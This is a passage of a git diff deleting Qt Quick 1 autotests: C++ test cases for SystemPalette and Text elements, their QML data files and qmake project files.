QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - QDeclarativeItem *item = rect->findChild("area"); - - QCOMPARE(item->width(), qreal(171)); -} - -QTEST_MAIN(tst_qdeclarativestates) - -#include "tst_qdeclarativestates.moc" diff --git a/tests/auto/qtquick1/qdeclarativesystempalette/qdeclarativesystempalette.pro b/tests/auto/qtquick1/qdeclarativesystempalette/qdeclarativesystempalette.pro deleted file mode 100644 index 3efa477a33..0000000000 --- a/tests/auto/qtquick1/qdeclarativesystempalette/qdeclarativesystempalette.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativesystempalette -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativesystempalette.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativesystempalette/tst_qdeclarativesystempalette.cpp b/tests/auto/qtquick1/qdeclarativesystempalette/tst_qdeclarativesystempalette.cpp deleted file mode 100644 index 64c13fd48a..0000000000 --- a/tests/auto/qtquick1/qdeclarativesystempalette/tst_qdeclarativesystempalette.cpp +++ /dev/null @@ -1,185 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativesystempalette : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativesystempalette(); - -private slots: - void activePalette(); - void inactivePalette(); - void disabledPalette(); - void paletteChanged(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativesystempalette::tst_qdeclarativesystempalette() -{ -} - -void tst_qdeclarativesystempalette::activePalette() -{ - QString componentStr = "import QtQuick 1.0\nSystemPalette { }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1SystemPalette *object = qobject_cast(component.create()); - - QVERIFY(object != 0); - - QPalette palette; - palette.setCurrentColorGroup(QPalette::Active); - QCOMPARE(palette.window().color(), object->window()); - QCOMPARE(palette.windowText().color(), object->windowText()); - QCOMPARE(palette.base().color(), object->base()); - QCOMPARE(palette.text().color(), object->text()); - QCOMPARE(palette.alternateBase().color(), object->alternateBase()); - QCOMPARE(palette.button().color(), object->button()); - QCOMPARE(palette.buttonText().color(), object->buttonText()); - QCOMPARE(palette.light().color(), object->light()); - QCOMPARE(palette.midlight().color(), object->midlight()); - QCOMPARE(palette.dark().color(), object->dark()); - QCOMPARE(palette.mid().color(), object->mid()); - QCOMPARE(palette.shadow().color(), object->shadow()); - QCOMPARE(palette.highlight().color(), object->highlight()); - QCOMPARE(palette.highlightedText().color(), object->highlightedText()); - - delete object; -} - -void tst_qdeclarativesystempalette::inactivePalette() -{ - QString componentStr = "import QtQuick 1.0\nSystemPalette { colorGroup: SystemPalette.Inactive }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1SystemPalette *object = qobject_cast(component.create()); - - QVERIFY(object != 0); - QVERIFY(object->colorGroup() == QDeclarative1SystemPalette::Inactive); - - QPalette palette; - palette.setCurrentColorGroup(QPalette::Inactive); - QCOMPARE(palette.window().color(), object->window()); - QCOMPARE(palette.windowText().color(), object->windowText()); - QCOMPARE(palette.base().color(), object->base()); - QCOMPARE(palette.text().color(), object->text()); - QCOMPARE(palette.alternateBase().color(), object->alternateBase()); - QCOMPARE(palette.button().color(), object->button()); - QCOMPARE(palette.buttonText().color(), object->buttonText()); - QCOMPARE(palette.light().color(), object->light()); - QCOMPARE(palette.midlight().color(), object->midlight()); - QCOMPARE(palette.dark().color(), object->dark()); - QCOMPARE(palette.mid().color(), object->mid()); - QCOMPARE(palette.shadow().color(), object->shadow()); - QCOMPARE(palette.highlight().color(), object->highlight()); - QCOMPARE(palette.highlightedText().color(), object->highlightedText()); - - delete object; -} - -void tst_qdeclarativesystempalette::disabledPalette() -{ - QString componentStr = "import QtQuick 1.0\nSystemPalette { colorGroup: SystemPalette.Disabled }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1SystemPalette *object = qobject_cast(component.create()); - - QVERIFY(object != 0); - QVERIFY(object->colorGroup() == QDeclarative1SystemPalette::Disabled); - - QPalette palette; - palette.setCurrentColorGroup(QPalette::Disabled); - QCOMPARE(palette.window().color(), object->window()); - QCOMPARE(palette.windowText().color(), object->windowText()); - QCOMPARE(palette.base().color(), object->base()); - QCOMPARE(palette.text().color(), object->text()); - QCOMPARE(palette.alternateBase().color(), object->alternateBase()); - QCOMPARE(palette.button().color(), object->button()); - QCOMPARE(palette.buttonText().color(), object->buttonText()); - QCOMPARE(palette.light().color(), object->light()); - QCOMPARE(palette.midlight().color(), object->midlight()); - QCOMPARE(palette.dark().color(), object->dark()); - QCOMPARE(palette.mid().color(), object->mid()); - QCOMPARE(palette.shadow().color(), object->shadow()); - QCOMPARE(palette.highlight().color(), object->highlight()); - QCOMPARE(palette.highlightedText().color(), object->highlightedText()); - - delete object; -} - -void tst_qdeclarativesystempalette::paletteChanged() -{ - QString componentStr = "import QtQuick 1.0\nSystemPalette { }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1SystemPalette *object = qobject_cast(component.create()); - - QVERIFY(object != 0); - - QPalette p; - p.setCurrentColorGroup(QPalette::Active); - p.setColor(QPalette::Active, QPalette::Text, QColor("red")); - p.setColor(QPalette::Active, QPalette::ButtonText, QColor("green")); - p.setColor(QPalette::Active, QPalette::WindowText, QColor("blue")); - - qApp->setPalette(p); - - object->setColorGroup(QDeclarative1SystemPalette::Active); - QTRY_COMPARE(QColor("red"), object->text()); - QTRY_COMPARE(QColor("green"), object->buttonText()); - QTRY_COMPARE(QColor("blue"), object->windowText()); - - delete object; -} - -QTEST_MAIN(tst_qdeclarativesystempalette) - -#include "tst_qdeclarativesystempalette.moc" diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments.qml b/tests/auto/qtquick1/qdeclarativetext/data/alignments.qml deleted file mode 100644 index 25105f6789..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/alignments.qml +++ /dev/null @@ -1,41 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: top - width: 70; height: 70; - - property alias horizontalAlignment: t.horizontalAlignment - property alias verticalAlignment: t.verticalAlignment - property alias wrapMode: t.wrapMode - property alias running: timer.running - property string txt: "Test" - - Rectangle { - anchors.centerIn: parent - width: 40 - height: 40 - color: "green" - - Text { - id: t - - anchors.fill: parent - horizontalAlignment: Text.AlignRight - verticalAlignment: Text.AlignBottom - wrapMode: Text.WordWrap - text: top.txt - } - Timer { - id: timer - - interval: 1 - running: true - repeat: true - onTriggered: { - top.txt = top.txt + "
more " + top.txt.length; - if (top.txt.length > 50) - running = false - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_cb.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_cb.png deleted file mode 100644 index cf6199a418..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_cb.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_cc.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_cc.png deleted file mode 100644 index f81ccb4238..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_cc.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_ct.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_ct.png deleted file mode 100644 index 9ba64125d5..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_ct.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_lb.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_lb.png deleted file mode 100644 index 1b50a81f3d..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_lb.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_lc.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_lc.png deleted file mode 100644 index f041b868f8..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_lc.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_lt.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_lt.png deleted file mode 100644 index c75e0d158e..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_lt.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_rb.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_rb.png deleted file mode 100644 index b06a5da715..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_rb.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_rc.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_rc.png deleted file mode 100644 index e468857cd0..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_rc.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/alignments_rt.png b/tests/auto/qtquick1/qdeclarativetext/data/alignments_rt.png deleted file mode 100644 index 576715ffce..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/alignments_rt.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/elideimplicitwidth.qml b/tests/auto/qtquick1/qdeclarativetext/data/elideimplicitwidth.qml deleted file mode 100644 index 60ae15c4e1..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/elideimplicitwidth.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.1 - -Text { - text: "Hello World" - elide: Text.ElideRight - width: 30 -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesLocal.qml b/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesLocal.qml deleted file mode 100644 index ee9b95a2a7..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesLocal.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Text { - text: "" -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesLocalError.qml b/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesLocalError.qml deleted file mode 100644 index 4dc0d3e16f..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesLocalError.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Text { - text: "" -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesRemote.qml b/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesRemote.qml deleted file mode 100644 index 438f4a06d3..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesRemote.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Text { - text: "" -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesRemoteError.qml b/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesRemoteError.qml deleted file mode 100644 index c24bf24f9c..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/embeddedImagesRemoteError.qml +++ /dev/null @@ -1,5 +0,0 @@ -import QtQuick 1.0 - -Text { - text: "" -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml b/tests/auto/qtquick1/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml deleted file mode 100644 index 4f58944672..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/horizontalAlignment_RightToLeft.qml +++ /dev/null @@ -1,23 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: top - width: 200; height: 70; - - property alias horizontalAlignment: text.horizontalAlignment - property string text: "اختبا" - - Rectangle { - anchors.centerIn: parent - width: 180 - height: 20 - color: "green" - - Text { - id: text - objectName: "text" - anchors.fill: parent - text: top.text - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/http/exists.png b/tests/auto/qtquick1/qdeclarativetext/data/http/exists.png deleted file mode 100644 index 399bd0b1d9..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativetext/data/http/exists.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativetext/data/lineCount.qml b/tests/auto/qtquick1/qdeclarativetext/data/lineCount.qml deleted file mode 100644 index 63817f6f2a..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/lineCount.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 200 - height: 200 - - Text { - id: myText - objectName: "myText" - width: 200 - wrapMode: Text.WordWrap - maximumLineCount: undefined - text: "Testing that maximumLines, visibleLines, and totalLines works properly in the autotests. The quick brown fox jumped over the lazy anything with the letter 'g'." - } -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/lineHeight.qml b/tests/auto/qtquick1/qdeclarativetext/data/lineHeight.qml deleted file mode 100644 index 851d871192..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/lineHeight.qml +++ /dev/null @@ -1,15 +0,0 @@ -import QtQuick 1.1 - -Item { - width: 200 - height: 200 - - Text { - id: myText - objectName: "myText" - width: 200 - wrapMode: Text.WordWrap - font.pixelSize: 13 - text: "Lorem ipsum sit amet, consectetur adipiscing elit. Integer felis nisl, varius in pretium nec, venenatis non erat. Proin lobortis interdum dictum." - } -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/qtbug_14734.qml b/tests/auto/qtquick1/qdeclarativetext/data/qtbug_14734.qml deleted file mode 100644 index bd07d66727..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/qtbug_14734.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 640 - height: 480 - - Text { - text: "í " - } -} diff --git a/tests/auto/qtquick1/qdeclarativetext/data/rotated.qml b/tests/auto/qtquick1/qdeclarativetext/data/rotated.qml deleted file mode 100644 index 1e893b93fc..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/data/rotated.qml +++ /dev/null @@ -1,18 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width : 200 - height : 100 - - Text { - objectName: "text" - x: 20 - y: 20 - height : 20 - width : 80 - text : "Something" - rotation : 30 - transformOrigin : Item.TopLeft - } -} - diff --git a/tests/auto/qtquick1/qdeclarativetext/qdeclarativetext.pro b/tests/auto/qtquick1/qdeclarativetext/qdeclarativetext.pro deleted file mode 100644 index 1957bdd9fd..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/qdeclarativetext.pro +++ /dev/null @@ -1,15 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativetext -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativetext.cpp - -INCLUDEPATH += ../../shared/ -HEADERS += ../../shared/testhttpserver.h -SOURCES += ../../shared/testhttpserver.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp deleted file mode 100644 index 2145d77d6e..0000000000 --- a/tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp +++ /dev/null @@ -1,1444 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "testhttpserver.h" - -class tst_qdeclarativetext : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativetext(); - -private slots: - void text(); - void width(); - void wrap(); - void elide(); - void textFormat(); - - void alignments_data(); - void alignments(); - - void embeddedImages_data(); - void embeddedImages(); - - void lineCount(); - void lineHeight(); - - // ### these tests may be trivial - void horizontalAlignment(); - void horizontalAlignment_RightToLeft(); - void verticalAlignment(); - void font(); - void style(); - void color(); - void smooth(); - - // QDeclarativeFontValueType - void weight(); - void underline(); - void overline(); - void strikeout(); - void capitalization(); - void letterSpacing(); - void wordSpacing(); - - void clickLink(); - - void QTBUG_12291(); - void implicitSize_data(); - void implicitSize(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - - void qtbug_14734(); -private: - QStringList standard; - QStringList richText; - - QStringList horizontalAlignmentmentStrings; - QStringList verticalAlignmentmentStrings; - - QList verticalAlignmentments; - QList horizontalAlignmentments; - - QStringList styleStrings; - QList styles; - - QStringList colorStrings; - - QDeclarativeEngine engine; - - QDeclarativeView *createView(const QString &filename); -}; - -tst_qdeclarativetext::tst_qdeclarativetext() -{ - standard << "the quick brown fox jumped over the lazy dog" - << "the quick brown fox\n jumped over the lazy dog"; - - richText << "the quick brown fox jumped over the lazy dog" - << "the quick brown fox
jumped over the lazy dog
"; - - horizontalAlignmentmentStrings << "AlignLeft" - << "AlignRight" - << "AlignHCenter"; - - verticalAlignmentmentStrings << "AlignTop" - << "AlignBottom" - << "AlignVCenter"; - - horizontalAlignmentments << Qt::AlignLeft - << Qt::AlignRight - << Qt::AlignHCenter; - - verticalAlignmentments << Qt::AlignTop - << Qt::AlignBottom - << Qt::AlignVCenter; - - styleStrings << "Normal" - << "Outline" - << "Raised" - << "Sunken"; - - styles << QDeclarative1Text::Normal - << QDeclarative1Text::Outline - << QDeclarative1Text::Raised - << QDeclarative1Text::Sunken; - - colorStrings << "aliceblue" - << "antiquewhite" - << "aqua" - << "darkkhaki" - << "darkolivegreen" - << "dimgray" - << "palevioletred" - << "lightsteelblue" - << "#000000" - << "#AAAAAA" - << "#FFFFFF" - << "#2AC05F"; - // - // need a different test to do alpha channel test - // << "#AA0011DD" - // << "#00F16B11"; - // -} - -QDeclarativeView *tst_qdeclarativetext::createView(const QString &filename) -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - - canvas->setSource(QUrl::fromLocalFile(filename)); - return canvas; -} - -void tst_qdeclarativetext::text() -{ - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData("import QtQuick 1.0\nText { text: \"\" }", QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->text(), QString("")); - QVERIFY(textObject->width() == 0); - - delete textObject; - } - - for (int i = 0; i < standard.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->text(), standard.at(i)); - QVERIFY(textObject->width() > 0); - - delete textObject; - } - - for (int i = 0; i < richText.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QString expected = richText.at(i); - QCOMPARE(textObject->text(), expected.replace("\\\"", "\"")); - QVERIFY(textObject->width() > 0); - - delete textObject; - } -} - -void tst_qdeclarativetext::width() -{ - // uses Font metrics to find the width for standard and document to find the width for rich - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData("import QtQuick 1.0\nText { text: \"\" }", QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->width(), 0.); - - delete textObject; - } - - for (int i = 0; i < standard.size(); i++) - { - QVERIFY(!Qt::mightBeRichText(standard.at(i))); // self-test - - QFont f; - QFontMetricsF fm(f); - qreal metricWidth = fm.size(Qt::TextExpandTabs && Qt::TextShowMnemonic, standard.at(i)).width(); - metricWidth = qCeil(metricWidth); - - QString componentStr = "import QtQuick 1.0\nText { text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QVERIFY(textObject->boundingRect().width() > 0); - QCOMPARE(textObject->width(), qreal(metricWidth)); - QVERIFY(textObject->textFormat() == QDeclarative1Text::AutoText); // setting text doesn't change format - - delete textObject; - } - - for (int i = 0; i < richText.size(); i++) - { - QVERIFY(Qt::mightBeRichText(richText.at(i))); // self-test - - QTextDocument document; - document.setHtml(richText.at(i)); - document.setDocumentMargin(0); - - int documentWidth = document.idealWidth(); - - QString componentStr = "import QtQuick 1.0\nText { text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->width(), qreal(documentWidth)); - QVERIFY(textObject->textFormat() == QDeclarative1Text::AutoText); // setting text doesn't change format - - delete textObject; - } -} - -void tst_qdeclarativetext::wrap() -{ - int textHeight = 0; - // for specified width and wrap set true - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData("import QtQuick 1.0\nText { text: \"Hello\"; wrapMode: Text.WordWrap; width: 300 }", QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - textHeight = textObject->height(); - - QVERIFY(textObject != 0); - QVERIFY(textObject->wrapMode() == QDeclarative1Text::WordWrap); - QCOMPARE(textObject->width(), 300.); - - delete textObject; - } - - for (int i = 0; i < standard.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { wrapMode: Text.WordWrap; width: 30; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->width(), 30.); - QVERIFY(textObject->height() > textHeight); - - int oldHeight = textObject->height(); - textObject->setWidth(100); - QVERIFY(textObject->height() < oldHeight); - - delete textObject; - } - - for (int i = 0; i < richText.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { wrapMode: Text.WordWrap; width: 30; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->width(), 30.); - QVERIFY(textObject->height() > textHeight); - - qreal oldHeight = textObject->height(); - textObject->setWidth(100); - QVERIFY(textObject->height() < oldHeight); - - delete textObject; - } - - // richtext again with a fixed height - for (int i = 0; i < richText.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { wrapMode: Text.WordWrap; width: 30; height: 50; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QCOMPARE(textObject->width(), 30.); - QVERIFY(textObject->implicitHeight() > textHeight); - - qreal oldHeight = textObject->implicitHeight(); - textObject->setWidth(100); - QVERIFY(textObject->implicitHeight() < oldHeight); - - delete textObject; - } -} - -void tst_qdeclarativetext::elide() -{ - for (QDeclarative1Text::TextElideMode m = QDeclarative1Text::ElideLeft; m<=QDeclarative1Text::ElideNone; m=QDeclarative1Text::TextElideMode(int(m)+1)) { - const char* elidename[]={"ElideLeft", "ElideRight", "ElideMiddle", "ElideNone"}; - QString elide = "elide: Text." + QString(elidename[int(m)]) + ";"; - - // XXX Poor coverage. - - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData(("import QtQuick 1.0\nText { text: \"\"; "+elide+" width: 100 }").toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->elideMode(), m); - QCOMPARE(textObject->width(), 100.); - - delete textObject; - } - - for (int i = 0; i < standard.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { "+elide+" width: 100; text: \"" + standard.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->elideMode(), m); - QCOMPARE(textObject->width(), 100.); - - delete textObject; - } - - // richtext - does nothing - for (int i = 0; i < richText.size(); i++) - { - QString componentStr = "import QtQuick 1.0\nText { "+elide+" width: 100; text: \"" + richText.at(i) + "\" }"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QCOMPARE(textObject->elideMode(), m); - QCOMPARE(textObject->width(), 100.); - - delete textObject; - } - } - - // QTBUG-18627 - QUrl qmlfile = QUrl::fromLocalFile(SRCDIR "/data/elideimplicitwidth.qml"); - QDeclarativeComponent textComponent(&engine, qmlfile); - QDeclarativeItem *item = qobject_cast(textComponent.create()); - QVERIFY(item != 0); - QVERIFY(item->implicitWidth() > item->width()); -} - -void tst_qdeclarativetext::textFormat() -{ - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData("import QtQuick 1.0\nText { text: \"Hello\"; textFormat: Text.RichText }", QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QVERIFY(textObject->textFormat() == QDeclarative1Text::RichText); - - delete textObject; - } - { - QDeclarativeComponent textComponent(&engine); - textComponent.setData("import QtQuick 1.0\nText { text: \"Hello\"; textFormat: Text.PlainText }", QUrl::fromLocalFile("")); - QDeclarative1Text *textObject = qobject_cast(textComponent.create()); - - QVERIFY(textObject != 0); - QVERIFY(textObject->textFormat() == QDeclarative1Text::PlainText); - - delete textObject; - } -} - - -void tst_qdeclarativetext::alignments_data() -{ - QTest::addColumn("hAlign"); - QTest::addColumn("vAlign"); - QTest::addColumn("expectfile"); - - QTest::newRow("LT") << int(Qt::AlignLeft) << int(Qt::AlignTop) << SRCDIR "/data/alignments_lt.png"; - QTest::newRow("RT") << int(Qt::AlignRight) << int(Qt::AlignTop) << SRCDIR "/data/alignments_rt.png"; - QTest::newRow("CT") << int(Qt::AlignHCenter) << int(Qt::AlignTop) << SRCDIR "/data/alignments_ct.png"; - - QTest::newRow("LB") << int(Qt::AlignLeft) << int(Qt::AlignBottom) << SRCDIR "/data/alignments_lb.png"; - QTest::newRow("RB") << int(Qt::AlignRight) << int(Qt::AlignBottom) << SRCDIR "/data/alignments_rb.png"; - QTest::newRow("CB") << int(Qt::AlignHCenter) << int(Qt::AlignBottom) << SRCDIR "/data/alignments_cb.png"; - - QTest::newRow("LC") << int(Qt::AlignLeft) << int(Qt::AlignVCenter) << SRCDIR "/data/alignments_lc.png"; - QTest::newRow("RC") << int(Qt::AlignRight) << int(Qt::AlignVCenter) << SRCDIR "/data/alignments_rc.png"; - QTest::newRow("CC") << int(Qt::AlignHCenter) << int(Qt::AlignVCenter) << SRCDIR "/data/alignments_cc.png"; -} - - -void tst_qdeclarativetext::alignments() -{ - QFETCH(int, hAlign); - QFETCH(int, vAlign); - QFETCH(QString, expectfile); - -#ifdef Q_WS_X11 - // 